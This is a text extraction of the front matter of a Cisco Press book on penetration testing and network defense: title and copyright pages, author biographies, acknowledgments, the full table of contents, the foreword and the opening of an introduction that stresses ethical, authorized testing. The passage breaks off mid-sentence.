{ "pages": [ { "page_number": 1, "text": "" }, { "page_number": 2, "text": "800 East 96th Street\nIndianapolis, IN 46240 USA\nCisco Press\nPenetration Testing and \nNetwork Defense\nAndrew Whitaker, Daniel P. Newman\n" }, { "page_number": 3, "text": "ii\nPenetration Testing and Network Defense\nAndrew Whitaker and Daniel P. Newman\nCopyright© 2006 Cisco Systems, Inc.\nPublished by:\nCisco Press\n800 East 96th Street \nIndianapolis, IN 46240 USA\nAll rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic \nor mechanical, including photocopying, recording, or by any information storage and retrieval system, without writ-\nten permission from the publisher, except for the inclusion of brief quotations in a review.\nPrinted in the United States of America 1 2 3 4 5 6 7 8 9 0\nFirst Printing November 2005\nLibrary of Congress Cataloging-in-Publication Number: 2004108262\nISBN: 1-58705-208-3\nWarning and Disclaimer\nThis book is designed to provide information about penetration testing and network defense techniques. Every \neffort has been made to make this book as complete and as accurate as possible, but no warranty or fitness is \nimplied.\nThe information is provided on an “as is” basis. The authors, Cisco Press, and Cisco Systems, Inc. shall have neither \nliability nor responsibility to any person or entity with respect to any loss or damages arising from the information \ncontained in this book or from the use of the discs or programs that may accompany it.\nThe opinions expressed in this book belong to the authors and are not necessarily those of Cisco Systems, Inc.\nFeedback Information\nAt Cisco Press, our goal is to create in-depth technical books of the highest quality and value. Each book is crafted \nwith care and precision, undergoing rigorous development that involves the unique expertise of members from the \nprofessional technical community.\nReaders' feedback is a natural continuation of this process. If you have any comments regarding how we could \nimprove the quality of this book or otherwise alter it to better suit your needs, you can contact us through e-mail at \nfeedback@ciscopress.com. Please make sure to include the book title and ISBN in your message.\n" }, { "page_number": 4, "text": "iii\nTrademark Acknowledgments\nAll terms mentioned in this book that are known to be trademarks or service marks have been appropriately capital-\nized. Cisco Press or Cisco Systems, Inc. cannot attest to the accuracy of this information. Use of a term in this book \nshould not be regarded as affecting the validity of any trademark or service mark.\nWe greatly appreciate your assistance.\nPublisher\nJohn Wait\nEditor-in-Chief\nJohn Kane\nCisco Representative\nAnthony Wolfenden\nCisco Press Program Manager\nJeff Brady\nExecutive Editor\nBrett Bartow\nProduction Manager\nPatrick Kanouse\nSenior Development Editor\nChristopher Cleveland\nProject Editor\nMarc Fowler\nCopy Editor\nKaren A. Gill\nTechnical Editors\nSteve Kalman, Michael Overstreet\nTeam Coordinator\nTammi Barnett\nBook/Cover Designer\nLouisa Adair\nCompositor\nMark Shirar\nIndexer\nTim Wright \n" }, { "page_number": 5, "text": "iv\nAbout the Authors\nAndrew Whitaker has been working in the IT industry for more than ten years, specializing in Cisco and security \ntechnologies. Currently, he works as the Director of Enterprise InfoSec and Networking for TechTrain, an interna-\ntional computer training and consulting company. Andrew performs penetration testing and teaches ethical hacking \nand Cisco courses throughout the United States and Europe. Prior to teaching, Whitaker was performing penetration \ntests for financial institutions across the southeastern United States. He also was previously employed as a senior \nnetwork engineer with an online banking company, where he was responsible for network security implementation \nand data communications for e-finance websites. He is certified in the following: CCSP, CCNP, CCNA, CCDA, \nInfoSec, MCSE, CNE, A+, CNE, Network+, Security+, CEH, and CEI. \nDaniel P. Newman has been in the computer industry for more than twelve years specializing in application pro-\ngramming, database design, and network security for projects all over the world. Daniel has implemented secure \ncomputer and network solutions to a wide variety of industries ranging from titanium plants, diamond mines, and \nrobotic-control systems to secure Internet banking. Working across four continents, he has gained expertise provid-\ning secure computer network solutions within a wide range of systems. Daniel is currently working as a freelance \npenetration tester and a senior technical trainer teaching Cisco and Microsoft products. In addition, Newman spe-\ncializes in practicing and training certified ethical hacking and penetration testing. In his pursuit of increased \nknowledge, he has become certified in the following: A+, Network+, I-Net+, Server+, Linux+, Security+, MCDST, \nMCSA, MCSE (NT, 2000, 2003); Security, MCDBA, MCT, CCNA, CCDA, CSS1, CCSP, InfoSec, CEH, CEI, and \nCISSP. In his off time, Newman has authored books on PIX Firewall and Cisco IDS and worked as technical editor \nfor books on the Cisco SAFE model.\nAbout the Technical Reviewers\nStephen Kalman is a data security trainer. He is the author or tech editor of more than 20 books, courses, and CBT \ntitles. His most recent book is Web Security Field Guide, published by Cisco Press. In addition to those responsibil-\nities, he runs a consulting company, Esquire Micro Consultants, that specializes in network security assessments \nand forensics.\nKalman holds CISSP, CEH, CHFI, CCNA, CCDA, A+, Network+, and Security+ certifications and is a member of \nthe New York State Bar.\nMichael Overstreet is a delivery manager for Cisco Advanced Services within World Wide Security Practice. He is \nresponsible for the delivery of security assessment and implementation services with a focus on Security Posture \nAssessments (SPA). He has worked for Cisco for six years delivering the security services. He is a graduate of \nChristopher Newport University with a Bachelor of Science in Computer Science. Michael holds CISSP and CCNP \ncertifications.\n" }, { "page_number": 6, "text": "v\nDedications\nAndrew Whitaker:\nI dedicate this book in memory of Dr. Bill R. Owens and Dr. Charles Braak. Your legacies continue to inspire me to \npursue higher levels of excellence.\nAnd to my amazing wife, Jennifer. \n-BFF-\nDaniel Newman:\nI dedicate this book to my beautiful wife, Clare. No matter how close you are, there is never a moment that you are \nnot in my thoughts and never a time that my heart is not missing you. You are the light of my life that never stops \nshining brighter and brighter as time goes on. I just wish forever were not so short, because I'll miss you when it \ncomes.\n —Your husband, Daniel\n" }, { "page_number": 7, "text": "vi\nAcknowledgments\nAndrew Whitaker:\nMany people were involved in the creation of this book. First, I must thank my forever supportive wife, whose \nencouragement kept me focused and motivated to complete this project. You haven't seen much of me this past year, \nand I thank you for your sacrifice so that I could pursue this book. I will always love you.\nTo Dan Newman, my coauthor: I can only say thank you for being a great friend and colleague. Despite the long \ndistance between us, you still remain a good friend, and I look forward to working with you on future projects. The \ndawn is coming!\nTwo people who deserve special mention are Brett Bartow and Chris Cleveland. You both have saint-like patience to \nallow for our habitual tardiness. \nAcknowledgements must also be given to our two technical editors, Steve Kalman and Michael Overstreet. Steve, \nwithout you, this book never would have happened. We are lucky to have you as an editor. Michael, thank you for \nholding such a high standard to ensure that this book is of quality material. \nSeveral others must be mentioned for their assistance with certain chapters. Jonathan Irvin and Robert Hall at Def-\ncon-5 both shared their social engineering tactics for Chapter 4. For our chapter on buffer overflows, I am very \ngrateful for SolarIce at #CovertSystems, who chatted online with me at 4:00 a.m. one Saturday morning to discuss \nhis exploit techniques. Susan Brenner at the University of Dayton helped with the discussion on cybercrime and \nethics in Chapter 2. Susan, your students are lucky to have you. \nStill others had an indirect involvement with this book. I'd like to thank John Almeter at NetTek, a man of great \nintegrity who got me started in this field. I also must thank Rick Van Luvender at InfoSec Academy for teaching me \nso much about penetration testing. Thanks also to the Indian River Starbucks for providing me with a second office. \nFinally, I must thank God, for without you, there would be no ethics or morality.\nDaniel Newman:\nI would like to thank Brett Bartow and Christopher Cleveland for their encouragement, drive, and push to help us \nkeep this massive project on schedule and on time. Thanks, guys!\nTo our technical editors, Michael Overstreet and Steve Kalman, for double-checking all our facts and helping us fix \nall our minor typos. \nTo Andrew, with whom I coauthored this book. Thank you for your never-ending patience with busy work sched-\nules, time zones, and deadlines that plagued us. If only there were 25 hours in the day, we could accomplish so \nmuch more. You are the best of friends, and I would like to thank you for the opportunity to work with you on this \nproject—I can't wait to do 167.\nI would also like to thank Hannah “Wee” for putting up with Mom and I while we string the den with cables and \nhammer away on computer keyboards attacking systems for hours on end. You always seem to find a way to still be \ninvolved, whether it be getting coffee or just staying close by watching movies on the laptop. Thanks, Wee! \nLastly and most importantly, I would like to thank my wife, Clare. Thank you, honey, for your never-ending \npatience, technical editing, case study testing, reference checking, and moral support on this book. You are my best \nfriend, my peer, my partner, and my soul mate for life. For without you, this book never would have been possible. \nI love you, my wonderful partner.\n" }, { "page_number": 8, "text": "vii\nThis Book Is Safari Enabled\nThe Safari® Enabled icon on the cover of your favorite technology book means \nthe book is available through Safari Bookshelf. When you buy this book, you get \nfree access to the online edition for 45 days.\nSafari Bookshelf is an electronic reference library that lets you easily search \nthousands of technical books, find code samples, download chapters, and access \ntechnical information whenever and wherever you need it.\nTo gain 45-day Safari Enabled access to this book:\n• Go to http://www.ciscopress.com/safarienabled\n• Enter the ISBN of this book (shown on the back cover, above the bar code)\n• Log in or Sign up (site membership is required to register your book)\n• Enter the coupon code JLFL-WT1E-RNVD-DVEP-842T\nIf you have difficulty registering on Safari Bookshelf or accessing the online \nedition, please e-mail customer-service@safaribooksonline.com.\n" }, { "page_number": 9, "text": "viii\nContents at a Glance\nForeword\nxxii\nIntroduction\nxxiii\nPart I \nOverview of Penetration Testing\n3\nChapter 1\nUnderstanding Penetration Testing\n5\nChapter 2\nLegal and Ethical Considerations\n21\nChapter 3\nCreating a Test Plan\n35\nPart II \nPerforming the Test\n47\nChapter 4\nPerforming Social Engineering\n49\nChapter 5\nPerforming Host Reconnaissance\n77\nChapter 6\nUnderstanding and Attempting Session Hijacking\n127\nChapter 7\nPerforming Web Server Attacks\n177\nChapter 8\nPerforming Database Attacks\n247\nChapter 9\nPassword Cracking\n279\nChapter 10\nAttacking the Network\n321\nChapter 11\nScanning and Penetrating Wireless Networks\n349\nChapter 12\nUsing Trojans and Backdoor Applications\n367\nChapter 13\nPenetrating UNIX, Microsoft, and Novell Servers\n439\nChapter 14\nUnderstanding and Attempting Buffer Overflows\n461\nChapter 15\nDenial-of-Service Attacks\n481\nChapter 16\nCase Study: A Methodical Step-By-Step Penetration Test\n501\nPart III \nAppendixes\n533\nAppendix A\nPreparing a Security Policy\n535\nAppendix B\nTools\n547\nGlossary\n571\nIndex\n 583\n" }, { "page_number": 10, "text": "ix\nContents\nForeword\nxxii\nIntroduction\nxxiii\nPart I \nOverview of Penetration Testing\n3\nChapter 1\nUnderstanding Penetration Testing\n5\nDefining Penetration Testing\n5\nAssessing the Need for Penetration Testing 8\nProliferation of Viruses and Worms 9\nWireless LANs 9\nComplexity of Networks Today\n10\nFrequency of Software Updates\n10\nAvailability of Hacking Tools\n10\nThe Nature of Open Source\n11\n Reliance on the Internet\n11\nUnmonitored Mobile Users and Telecommuters\n12\nMarketing Demands\n12\nIndustry Regulations\n12\nAdministrator Trust\n13\nBusiness Partnerships\n13\nHacktivism\n13\nAttack Stages\n13\nChoosing a Penetration Testing Vendor\n14\nPreparing for the Test\n16\nSummary\n17\nChapter 2\nLegal and Ethical Considerations\n21\nEthics of Penetration Testing\n21\nLaws\n23\nU.S. Laws Pertaining to Hacking\n24\n1973 U.S. Code of Fair Information Practices\n25\n1986 Computer Fraud and Abuse Act (CFAA)\n25\nState Laws\n27\nRegulatory Laws\n28\n1996 U.S. Kennedy-Kasselbaum Health Insurance Portability and Accountability \nAct (HIPAA)\n28\nGraham-Leach-Bliley (GLB)\n29\nUSA PATRIOT ACT\n30\n2002 Federal Information Security Management Act (FISMA)\n30\n2003 Sarbanes-Oxley Act (SOX)\n30\n Non-U.S. Laws Pertaining to Hacking\n31\n" }, { "page_number": 11, "text": "x\nLogging\n31\nTo Fix or Not to Fix\n32\nSummary\n32\nChapter 3\nCreating a Test Plan\n35\nStep-by-Step Plan\n35\nDefining the Scope\n36\nSocial Engineering\n36\nSession Hijacking\n36\nTrojan/Backdoor\n37\nOpen-Source Security Testing Methodology Manual\n37\nDocumentation\n40\nExecutive Summary\n40\nProject Scope\n42\nResults Analysis\n42\nSummary\n44\nAppendixes\n44\nSummary\n44\nPart II \nPerforming the Test\n47\nChapter 4\nPerforming Social Engineering\n49\nHuman Psychology\n50\nConformity Persuasion\n50\nLogic Persuasion\n51\nNeed-Based Persuasion\n52\nAuthority-Based Persuasion\n53\nReciprocation-Based Social Engineering\n53\nSimilarity-Based Social Engineering\n54\nInformation-Based Social Engineering\n54\nWhat It Takes to Be a Social Engineer\n55\nUsing Patience for Social Engineering\n56\nUsing Confidence for Social Engineering\n57\nUsing Trust for Social Engineering\n58\nUsing Inside Knowledge for Social Engineering\n59\nFirst Impressions and the Social Engineer\n60\nTech Support Impersonation\n61\nThird-Party Impersonation\n62\nE-Mail Impersonation\n64\nEnd User Impersonation\n69\nCustomer Impersonation\n69\n" }, { "page_number": 12, "text": "xi\nReverse Social Engineering\n70\nProtecting Against Social Engineering\n71\nCase Study\n72\nSummary\n75\nChapter 5\nPerforming Host Reconnaissance\n77\nPassive Host Reconnaissance\n78\nA Company Website\n79\nEDGAR Filings\n87\nNNTP USENET Newsgroups\n87\nUser Group Meetings\n88\nBusiness Partners\n88\nActive Host Reconnaissance\n89\nNSLookup/Whois Lookups\n89\nSamSpade\n92\nVisual Route\n95\nPort Scanning\n96\nTCP Connect() Scan\n98\nSYN Scan\n99\nNULL Scan\n99\nFIN Scan\n100\nACK Scan\n100\nXmas-Tree Scan\n101\nDumb Scan\n101\nNMap\n102\nNMap Switches and Techniques\n103\nCompiling and Testing NMap\n105\nFingerprinting\n106\nFootprinting\n107\nDetecting a Scan\n109\nIntrusion Detection\n109\nAnomaly Detection Systems\n109\nMisuse Detection System\n109\nHost-Based IDSs\n110\nNetwork-Based IDSs\n110\nNetwork Switches\n111\nExamples of Scan Detection\n112\nDetecting a TCP Connect() Scan\n113\nDetecting a SYN Scan\n114\nDetecting FIN, NULL, and Xmas-Tree Scans\n115\nDetecting OS Guessing\n117\n" }, { "page_number": 13, "text": "xii\nCase Study\n118\nSummary\n122\nChapter 6\nUnderstanding and Attempting Session Hijacking\n127\nDefining Session Hijacking\n127\nNonblind Spoofing\n128\nBlind Spoofing\n129\nTCP Sequence Prediction (Blind Hijacking)\n130\nTools\n131\nJuggernaut\n131\nHunt\n134\nTTY-Watcher\n136\nT-Sight\n136\nOther Tools\n137\nBeware of ACK Storms\n137\nKevin Mitnick’s Session Hijack Attack\n139\nDetecting Session Hijacking\n143\nDetecting Session Hijacking with a Packet Sniffer\n145\nConfiguring Ethereal\n145\nWatching a Hijacking with Ethereal\n147\nDetecting Session Hijacking with Cisco IDS\n153\nSignature 1300: TCP Segment Overwrite\n156\nSignature 3250: TCP Hijack\n157\nSignature 3251: TCP Hijacking Simplex Mode\n162\nWatching a Hijacking with IEV\n164\nProtecting Against Session Hijacking\n167\nCase Study\n168\nSummary\n173\nResources\n174\nChapter 7\nPerforming Web Server Attacks\n177\nUnderstanding Web Languages\n177\nHTML\n179\nDHTML\n181\nXML\n183\nXHTML\n184\nJavaScript\n185\nJScript\n186\nVBScript\n186\nPerl\n187\n" }, { "page_number": 14, "text": "xiii\nASP\n188\nCGI\n191\nPHP Hypertext Preprocessor\n192\nColdFusion\n193\nJava Once Called Oak\n193\nClient-Based Java\n194\nServer-Based Java\n194\nWebsite Architecture\n196\nE-Commerce Architecture\n198\nApache HTTP Server Vulnerabilities\n199\nIIS Web Server\n199\nShowcode.asp\n200\nPrivilege Escalation\n201\nBuffer Overflows\n202\nWeb Page Spoofing\n203\nCookie Guessing\n205\nHidden Fields\n207\nBrute Force Attacks\n209\nBrutus\n211\nHTTP Brute Forcer\n211\nDetecting a Brute Force Attack\n212\nProtecting Against Brute Force Attacks\n215\nTools\n217\nNetCat\n217\nVulnerability Scanners\n218\nIIS Xploit\n221\nexeciis-win32.exe\n221\nCleanIISLog\n222\nIntelliTamper\n222\nWeb Server Banner Grabbing\n223\nHacking with Google\n224\nDetecting Web Attacks\n225\nDetecting Directory Traversal\n226\nDetecting Whisker\n228\nProtecting Against Web Attacks\n232\nSecuring the Operating System\n232\nSecuring Web Server Applications\n234\nIIS\n234\nApache\n236\n" }, { "page_number": 15, "text": "xiv\nSecuring Website Design\n236\nSecuring Network Architecture\n237\nCase Study\n238\nSummary\n244\nChapter 8\nPerforming Database Attacks\n247\nDefining Databases\n249\nOracle\n250\nStructure\n250\nSQL\n250\nMySQL\n251\nStructure\n251\nSQL\n251\nSQL Server\n252\nStructure\n252\nSQL\n253\nDatabase Default Accounts\n253\n Testing Database Vulnerabilities\n253\nSQL Injection\n256\nSystem Stored Procedures\n257\nxp_cmdshell\n259\nConnection Strings\n259\nPassword Cracking/Brute Force Attacks\n260\nSecuring Your SQL Server\n261\nAuthentication\n261\nService Accounts\n263\nPublic Role\n263\nGuest Account\n264\nSample Databases\n264\nNetwork Libraries\n264\nPorts\n265\nDetecting Database Attacks\n266\nAuditing\n266\nFailed Logins\n268\nSystem Stored Procedures\n269\nSQL Injection\n270\nProtecting Against Database Attacks\n270\nCase Study\n272\nSummary\n277\nReferences and Further Reading\n277\n" }, { "page_number": 16, "text": "xv\nChapter 9\nPassword Cracking\n279\nPassword Hashing\n280\nUsing Salts\n282\nMicrosoft Password Hashing\n282\nUNIX Password Hashing\n284\nPassword-Cracking Tools\n284\nJohn the Ripper\n285\nPwdump3\n287\nL0phtcrack\n289\nNutcracker\n298\nHypnopædia\n299\nSnadboy Revelation\n300\nBoson GetPass\n302\nRainbowCrack\n303\nDetecting Password Cracking\n305\nNetwork Traffic\n306\nSystem Log Files\n306\nAccount Lockouts\n307\nPhysical Access\n308\nDumpster Diving and Key Logging\n308\nSocial Engineering\n308\nProtecting Against Password Cracking\n309\nPassword Auditing\n309\nLogging Account Logins\n309\nAccount Locking\n311\nPassword Settings\n311\nPassword Length\n312\nPassword Expiration\n312\nPassword History\n313\nPhysical Protection\n313\nEmployee Education and Policy\n315\nCase Study\n316\nSummary\n319\nChapter 10\nAttacking the Network\n321\nBypassing Firewalls\n321\nEvading Intruder Detection Systems\n323\nTesting Routers for Vulnerabilities\n324\nCDP\n324\nHTTP Service\n326\n" }, { "page_number": 17, "text": "xvi\nPassword Cracking\n328\nModifying Routing Tables\n329\nTesting Switches for Vulnerabilities\n333\nVLAN Hopping\n333\nSpanning Tree Attacks\n334\nMAC Table Flooding\n335\nARP Attacks\n335\nVTP Attacks\n336\nSecuring the Network\n337\nSecuring Firewalls\n337\nSecuring Routers\n338\nDisabling CDP\n338\nDisabling or Restricting the HTTP Service\n338\nSecuring Router Passwords\n338\nEnabling Authentication for Routing Protocols\n339\nSecuring Switches\n341\nSecuring Against VLAN Hopping\n341\nSecuring Against Spanning Tree Attacks\n341\nSecuring Against MAC Table Flooding and ARP Attacks\n341\nSecuring Against VTP Attacks\n342\nCase Study\n342\nSummary\n347\nChapter 11\nScanning and Penetrating Wireless Networks\n349\nHistory of Wireless Networks\n349\nAntennas and Access Points\n350\nWireless Security Technologies\n351\nService Set Identifiers (SSIDs)\n351\nWired Equivalent Privacy (WEP)\n352\nMAC Filtering\n352\n802.1x Port Security\n352\nIPSec\n353\nWar Driving\n353\nTools\n354\nNetStumbler\n354\nStumbVerter\n354\nDStumbler\n355\nKismet\n355\nGPSMap\n356\nAiroPeek NX\n357\n" }, { "page_number": 18, "text": "xvii\nAirSnort\n357\nWEPCrack\n357\n Detecting Wireless Attacks\n357\nUnprotected WLANs\n357\nDoS Attacks\n358\nRogue Access Points\n358\nMAC Address Spoofing\n358\nUnallocated MAC Addresses\n359\nPreventing Wireless Attacks\n359\nPreventing Man-in-the-Middle Attacks\n361\nEstablishing and Enforcing Standards for Wireless Networking\n362\nCase Study\n362\nSummary\n365\nChapter 12\nUsing Trojans and Backdoor Applications\n367\nTrojans, Viruses, and Backdoor Applications\n367\nCommon Viruses and Worms\n368\nChernobyl\n369\nI Love You\n370\nMelissa\n371\nBugBear\n372\nMyDoom\n373\nW32/Klez\n373\nBlaster\n375\nSQL Slammer\n376\nSasser\n377\nTrojans and Backdoors\n378\nBack Orifice 2000\n378\n Tini\n389\nDonald Dick\n390\nRootkit\n395\nNetCat\n395\nSubSeven\n398\nBrown Orifice\n411\nBeast\n412\nBeast Server Settings\n412\nBeast Client\n417\nDetecting Trojans and Backdoor Applications\n423\nMD5 Checksums\n424\nMonitoring Ports Locally\n424\n" }, { "page_number": 19, "text": "xviii\nNetstat\n426\nfport\n428\nTCPView\n429\nMonitoring Ports Remotely\n429\nAnti-virus and Trojan Scanners Software\n430\nIntrusion Detection Systems\n431\nPrevention\n432\nCase Study\n433\nSummary\n436\nChapter 13\nPenetrating UNIX, Microsoft, and Novell Servers\n439\nGeneral Scanners\n440\nNessus\n440\nSAINT\n441\nSARA\n442\nISS\n444\nNetRecon\n445\nUNIX Permissions and Root Access\n445\nElevation Techniques\n446\nStack Smashing Exploit\n446\nrpc.statd Exploit\n446\nirix-login.c\n447\nRootkits\n447\nLinux Rootkit IV\n447\nBeastkit\n448\nMicrosoft Security Models and Exploits\n448\nElevation Techniques\n449\nPipeUpAdmin\n449\nHK\n449\nRootkits\n450\nNovell Server Permissions and Vulnerabilities\n450\nPandora\n451\nNovelFFS\n451\nDetecting Server Attacks\n452\nPreventing Server Attacks\n452\nCase Study\n456\nSummary\n458\n" }, { "page_number": 20, "text": "xix\nChapter 14\nUnderstanding and Attempting Buffer Overflows\n461\nMemory Architecture\n461\nStacks\n461\nHeaps\n464\nNOPs\n464\nBuffer Overflow Examples\n465\nSimple Example\n465\nLinux Privilege Escalation\n466\nWindows Privilege Escalation\n471\nPreventing Buffer Overflows\n473\nLibrary Tools to Prevent Buffer Overflows\n475\nCompiler-Based Solutions to Prevent Buffer Overflows\n475\nUsing a Non-Executable Stack to Prevent Buffer Overflows\n475\nCase Study\n476\nSummary\n479\nChapter 15\nDenial-of-Service Attacks\n481\nTypes of DoS Attacks\n483\nPing of Death\n483\nSmurf and Fraggle\n484\nLAND Attack\n485\nSYN Flood\n486\nTools for Executing DoS Attacks\n486\nDatapool\n486\nJolt2\n488\nHgod\n489\nOther Tools\n489\nDetecting DoS Attacks\n489\nAppliance Firewalls\n490\nHost-Based IDS\n490\nSignature-Based Network IDS\n490\nNetwork Anomaly Detectors\n493\nPreventing DoS Attacks\n493\nHardening\n494\nNetwork Hardening\n494\nApplication Hardening\n496\nIntrusion Detection Systems\n497\nCase Study\n497\nSummary\n499\n" }, { "page_number": 21, "text": "xx\nChapter 16\nCase Study: A Methodical Step-By-Step Penetration Test\n501\nCase Study: LCN Gets Tested\n503\nPlanning the Attack\n503\nGathering Information\n504\nScanning and Enumeration\n510\nExternal Scanning\n511\nWireless Scanning\n511\nGaining Access\n512\nGaining Access via the Website\n512\nGaining Access via Wireless\n522\nMaintain Access\n524\n Covering Tracks\n524\nWriting the Report\n524\nDAWN Security\n525\nExecutive Summary\n525\nObjective\n525\nMethodology\n525\nFindings\n526\nSummary\n526\nGraphical Summary\n526\nTechnical Testing Report\n527\nBlack-Box Testing\n527\nPresenting and Planning the Follow-Up\n530\nPart III \nAppendixes\n533\nAppendix A\nPreparing a Security Policy\n535\nAppendix B\nTools\n547\nGlossary\n571\nIndex\n 583\n" }, { "page_number": 22, "text": "xxi\nIcons Used in This Book\nCommand Syntax Conventions\nThe conventions used to present command syntax in this book are the same conventions used in the IOS \nCommand Reference. The Command Reference describes these conventions as follows:\n•\nBoldface indicates commands and keywords that you enter literally as shown. In actual \nconfiguration examples and output (not general command syntax), boldface indicates commands \nthat are manually input by the user (such as a show command).\n•\nItalic indicates arguments for which you supply actual values.\n•\nVertical bars (|) separate alternative, mutually exclusive elements.\n•\nSquare brackets [ ] indicate optional elements.\n•\nBraces { } indicate a required choice.\n•\nBraces within brackets [{ }] indicate a required choice within an optional element.\nPC\nPC with\nSoftware\nSun\nWorkstation\nMacintosh\nTerminal\nFile \nServer\nWeb\nServer\nCisco Works\nWorkstation\nPrinter\nLaptop\nIBM\nMainframe\nFront End\nProcessor\nCluster\nController\nModem\nDSU/CSU\nRouter\nBridge\nHub\nDSU/CSU\nCatalyst\nSwitch\nMultilayer\nSwitch\nATM\nSwitch\nISDN/Frame Relay\nSwitch\nCommunication\nServer\nGateway\nAccess\nServer\nNetwork Cloud\nToken\nRing\nToken Ring\nLine: Ethernet\nFDDI\nFDDI\nLine: Serial\nLine: Switched Serial\n" }, { "page_number": 23, "text": "xxii\nForeword\nPen testing, ethical hacking, posture assessment, vulnerability scans… the list of names goes on and on. \nThere are as many names for simulating an attack and testing the security of an information system as \nthere are approaches and techniques to be utilized in this endeavor.\nWhile it is quite simple to log onto the web and gain access to tools, information, scripts, etc. to perform \nthese types of tests, the key to doing this work responsibly, and with desirable results, lies in understanding \nhow to execute a pen test the right way. Case studies have shown that a testing exercise designed to \nidentify and improve security measures can turn sour and result in obvious or inaccurate recommenda-\ntions, or in the worst case scenario, become disruptive to business operations.\nThis book goes to great lengths to explain the various testing approaches that are used today and gives \nexcellent insight into how a responsible penetration testing specialist executes his trade.\nPenetration testing is very dynamic field and requires a continuous investment in education and training \nto ensure that the tester has the requisite knowledge to do this well. And there is a certain elegance to \nthe analysis involved in a truly successful test. While considered a science steeped in the world of tech-\nnology, the highest form of penetration testing contains quite a lot of art. By applying creativity in the \ninterpreting and analysis of results, then determining the optimal next steps, often by intuition and feel, \nthe sophisticated pen tester creates a new level of evaluation and brings a stronger, more valuable result \nto the exercise.\nThere was a time 10-15 years ago when this type of exercise was questioned as to its validity, its value, \nand its interpretation. In today’s modern technology-driven world, where we experience a ceaseless \nnumber of threats, vulnerabilities, DDOS attacks, and malicious code proliferation, penetration tests are \none of many standard best practices essential to strong security governance. Most sound security \napproaches highlight these tests as an integral component of their programs. They are viewed as essen-\ntial to understanding, evaluating, measuring, and then most importantly, establishing a cost effective set \nof remediation steps for improving the security of information assets.\nWhat is of particular note and interest in this book is the extensive time devoted to the many new and \ninnovative techniques required to properly test and evaluate new advanced technologies. It’s an ever \nchanging field and you will find great value in delving into these new domains, expanding your scope, \nand understanding the possibilities. There does not seem to be any limit to the potential damage that \nthose with malicious intent can invoke. Deep exploration of their techniques helps us to establish \nproactive preventive and detective measures – and help in the ongoing tasks of staying a step ahead.\nSo when you do become involved in penetration testing projects – whether that be in contracting for services, \noverseeing their execution, reviewing their results, or even executing them yourself – it is essential to \nunderstand the concepts described within to ensure you have an evolved and sophisticated view of the \nworld of penetration testing. Or was that ethical hacking? \nBruce Murphy\nVice President, World Wide Security Services\nCisco Systems, Inc.\nSeptember 2005\n" }, { "page_number": 24, "text": "xxiii\nIntroduction\nThe first “hackers” emerged from the Massachusetts Institute of Technology (MIT) in 1969. The term \noriginally described members of a model train group who would “hack” the electric trains to increase \nthe speed of their trains.\nToday, the term has quite a different meaning. When people think of computer hackers, they think of \ncomputer experts who are adept at reverse engineering computer systems. They might think of mali-\ncious hackers who aspire to break into networks to destroy or steal data, or of ethical hackers who are \nhired to test the security of a network. Often, these ethical hackers, or penetration testers, mimic the \nsame techniques as a malicious hacker. \nThe need for penetration testing is simple. The best way to stop a criminal is to think the way a criminal \nthinks. It is not enough to install burglar alarms and fences and assume that you are safe from burglary; \nto effectively stop a burglar, you must predict the moves a burglar would make. Likewise, to prevent \nagainst malicious hackers, you must think like a malicious hacker. One of the best ways that companies \nare assessing their security against attacks is by hiring outside security firms to attempt to penetrate their \nnetworks. \nCompanies are no longer falling victim to the “Titanic” syndrome. When the Titanic was built, its engi-\nneers never thought the ship would sink; companies now realize that just because their staff stamps their \napproval that the network is secure, you just do not know for sure until it is tested. \nThis book arises out of this need to know how to perform a thorough and accurate assessment of the net-\nwork security for an organization. Although other books describe some of the tools that malicious hack-\ners use, no book offered a definitive resource for penetration testers to know how to perform a full \nsecurity assessment of a computer network for an organization. This book is written to fill this need.\nWho Should Read this Book\nThe scope of this book is to provide a guide for those who are involved in the field of penetration test-\ning, and for security professionals who daily face the need to know how to detect and protect against \nnetwork attacks. It is specifically targeted toward three audiences:\n•\nThose interested in hiring penetration testers\n•\nThose employed as penetration testers\n•\nThose responsible for securing their network against malicious hackers\nEthical Considerations\nIt should be noted at the onset that this book is designed as a guidebook for ethical hacking. This book \ndoes not endorse unethical or malicious use of the tools and techniques mentioned. Many of the tech-\nniques described in this book are illegal without prior written consent from an organization. The authors \nof this book want you to curb any curiosity you might have to try out these techniques on live systems \nwithout legitimate and ethical reasons. Used properly, the tools and techniques described in this book \nare an excellent resource for anyone who is involved in securing networks.\n" }, { "page_number": 25, "text": "xxiv\nHow This Book Is Organized\nThis book aids you in securing your network by examining the methods of penetration testing as a \nmeans of assessing the network of an organization. It also shows how to detect an attack on a network so \nthat security professionals can spot an intruder and react accordingly. This book offers suggestions on \nhow to go about protecting against the exploits discussed in each chapter. Numerous case studies are \nincluded throughout the book, and a complete case study chapter outlines a step-by-step example of the \nentire process.\nThis book is divided into three parts:\n•\nPart I: Overview of Penetration Testing\nBefore you can begin penetration testing, you must first comprehend the definition, purpose, and \nprocess of penetration testing. The first three chapters are devoted to meeting this objective. \n— Chapter 1: Understanding Penetration Testing\nThis introductory chapter defines the scope and purpose behind penetration testing. Through \nthe numerous examples of real-world security breaches coupled with statistics on the rise of \nsecurity concerns, you learn the urgent need for this type of testing.\n— Chapter 2: Legal and Ethical Considerations\nHere you learn of the ethics, laws, and liability issues revolving around penetration testing. \nMimicking the behavior of an attacker is a dangerous assignment; testers should understand \nwhat is permissible so that they do not step over the boundaries into unethical or illegal behavior.\n— Chapter 3: Creating a Testing Plan\nBecause penetration testing requires such caution, it is imperative that the tester develop a step-\nby-step plan so that he can stay within his contracted boundaries. This chapter outlines the \nbasic steps in performing a penetration test, which is further explained throughout the remainder of \nthis book. Chapter 3 culminates with documentation guidelines for writing a synopsis report.\n•\nPart II: Performing the Test\nThe second part of this book focuses on the particulars of testing. Because the purpose of penetra-\ntion testing is ultimately to assist administrators in securing their network, chapters include three \nessential components. First, the steps are given to perform a simulated attack using popular com-\nmercial and open-source applications. Only through a live test can one assess whether company \nsecurity measures are effective. Second, when applicable, each chapter illustrates how to detect the \nattack through the use of the Cisco Intrusion Detection Sensor. Finally, each chapter concludes with \nsome brief suggestions on how to go about hardening a system against attacks. All three compo-\nnents are essential in grasping the methods behind security breaches and how to prevent them from \nhappening. \n— Chapter 4: Performing Social Engineering\nSocial engineering is a component of testing that is often overlooked. It is the human element \nof the security assessment. Topics in this chapter include impersonations of technical support \nrepresentatives, third-party companies, and e-mail messages.\n" }, { "page_number": 26, "text": "xxv\n— Chapter 5: Performing Host Reconnaissance\nHost reconnaissance is the stake-out portion of testing. Often, a burglar patrols a street for 